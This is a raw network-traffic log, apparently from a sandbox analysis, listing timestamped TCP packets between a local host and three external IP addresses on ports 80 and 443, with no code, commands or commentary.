Dec 21, 2024 10:15:41.773375034 CET	443	49842	34.226.108.155	192.168.2.4
Dec 21, 2024 10:15:41.831501007 CET	49842	443	192.168.2.4	34.226.108.155
Dec 21, 2024 10:15:42.036602974 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.036648035 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.036700964 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.036701918 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.037939072 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.038012028 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.038546085 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.038605928 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.038693905 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.038755894 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.040271044 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.040306091 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.040329933 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.040339947 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.040353060 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.040391922 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.040395975 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.040427923 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.040452003 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.040477991 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.094779015 CET	443	49842	34.226.108.155	192.168.2.4
Dec 21, 2024 10:15:42.094896078 CET	443	49842	34.226.108.155	192.168.2.4
Dec 21, 2024 10:15:42.094985008 CET	49842	443	192.168.2.4	34.226.108.155
Dec 21, 2024 10:15:42.105380058 CET	49842	443	192.168.2.4	34.226.108.155
Dec 21, 2024 10:15:42.105401039 CET	443	49842	34.226.108.155	192.168.2.4
Dec 21, 2024 10:15:42.156579018 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.156651974 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.156652927 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.156709909 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.160693884 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.160806894 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.228916883 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.228990078 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.229074955 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.229135036 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.233107090 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.233165979 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.233206987 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.233263016 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.239629030 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.239696026 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.239790916 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.239845037 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.247966051 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.248025894 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.248115063 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.248172045 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.256408930 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.256469011 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.256536961 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.256593943 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.264878035 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.264915943 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.264940023 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.264974117 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.273134947 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.273195028 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.273284912 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.273339033 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.281603098 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.281661987 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.281685114 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.281737089 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.289963961 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.290044069 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.290075064 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.290131092 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.298403978 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.298460960 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.298633099 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.298705101 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.306056976 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.306117058 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.306284904 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.306339025 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.421345949 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.421403885 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.421413898 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.421525955 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.423480988 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.423542023 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.423615932 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.423665047 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.428260088 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.428340912 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.428355932 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.428411007 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.430485010 CET	443	49843	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:42.430546045 CET	443	49843	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:42.430569887 CET	49843	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:42.430624962 CET	443	49843	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:42.430655003 CET	49843	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:42.430677891 CET	49843	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:42.430699110 CET	443	49843	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:42.430752993 CET	49843	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:42.430941105 CET	49843	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:42.430977106 CET	443	49843	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:42.431000948 CET	49843	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:42.431030989 CET	49843	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:42.432281971 CET	49850	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:42.432331085 CET	443	49850	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:42.432413101 CET	49850	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:42.432598114 CET	49850	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:42.432615042 CET	443	49850	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:42.433150053 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.433212042 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.433301926 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.433351994 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.437993050 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.438056946 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.438167095 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.438338041 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.442766905 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.442833900 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.442925930 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.442980051 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.447510004 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.447583914 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.447698116 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.447753906 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.452203035 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.452311039 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.452326059 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.452361107 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.456902981 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.456980944 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.457009077 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.457062960 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.461616039 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.461678028 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.461772919 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.461827993 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.466306925 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.466384888 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.466411114 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.466469049 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.471024036 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.471088886 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.471163988 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.471220016 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.475879908 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.475939035 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.475977898 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.476156950 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.480473995 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.480531931 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.480575085 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.480621099 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.485199928 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.485254049 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.485483885 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.485533953 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.489937067 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.489986897 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.490101099 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.490151882 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.494755030 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.494820118 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.494859934 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.494910955 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.499355078 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.499416113 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.499464035 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.499516010 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.504061937 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.504160881 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.504168034 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.504209042 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.614120960 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.614193916 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.614392042 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.614439964 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.616110086 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.616163015 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.616246939 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.616301060 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.620073080 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.620124102 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.620189905 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.620240927 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.624082088 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.624147892 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.624360085 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.624409914 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.627903938 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.627959967 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.628190994 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.628235102 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.631444931 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.631480932 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.631505966 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.631540060 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.634735107 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.634783983 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.634856939 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.634907961 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.638287067 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.638344049 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.638376951 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.638427019 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.641927004 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.641978025 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.642035961 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.642086983 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.645590067 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.645653963 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.645761013 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.645812035 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.649175882 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.649225950 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.649302006 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.649357080 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.652883053 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.652936935 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.653038979 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.653094053 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.653125048 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.656502008 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.656553984 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.656656981 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.656698942 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.660151958 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.660206079 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.660245895 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.660314083 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.664007902 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.664060116 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.664113998 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.664165020 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.667462111 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.667520046 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.667593956 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.667645931 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.671075106 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.671185970 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.671288013 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.674675941 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.674746037 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.674835920 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.674895048 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.678438902 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.678504944 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.678527117 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.678576946 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.682060003 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.682166100 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.682190895 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.682241917 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.685715914 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.685776949 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.685842991 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.685894966 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.689316988 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.689380884 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.689466000 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.689519882 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.692994118 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.693048000 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.693058968 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.693098068 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.696722984 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.696775913 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.696794033 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.696822882 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.700351000 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.700387955 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.700418949 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.700462103 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.703991890 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.704052925 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.704143047 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.704190969 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.707581043 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.707642078 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.707680941 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.707731009 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.711344004 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.711379051 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.711395979 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.711426020 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.714867115 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.714921951 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.714982986 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.715035915 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.718524933 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.718661070 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.718679905 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.718710899 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.722306967 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.722342014 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.722362995 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.722398043 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.725857019 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.725907087 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.725970984 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.726022005 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.729545116 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.729602098 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.729661942 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.729729891 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.733181953 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.733237982 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.733329058 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.733381987 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.736810923 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.736867905 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.736957073 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.737016916 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.805414915 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.805449963 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.805476904 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.805526972 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.806317091 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.806370974 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.806461096 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.806510925 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.809298038 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.809359074 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.809505939 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.809556961 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.812546015 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.812596083 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.812597036 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.812644958 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.815546989 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.815599918 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.815603971 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.815650940 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.818433046 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.818519115 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.818531036 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.818598986 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.821396112 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.821448088 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.821533918 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.821587086 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:42.824256897 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:42.824358940 CET	49844	80	192.168.2.4	31.41.244.11
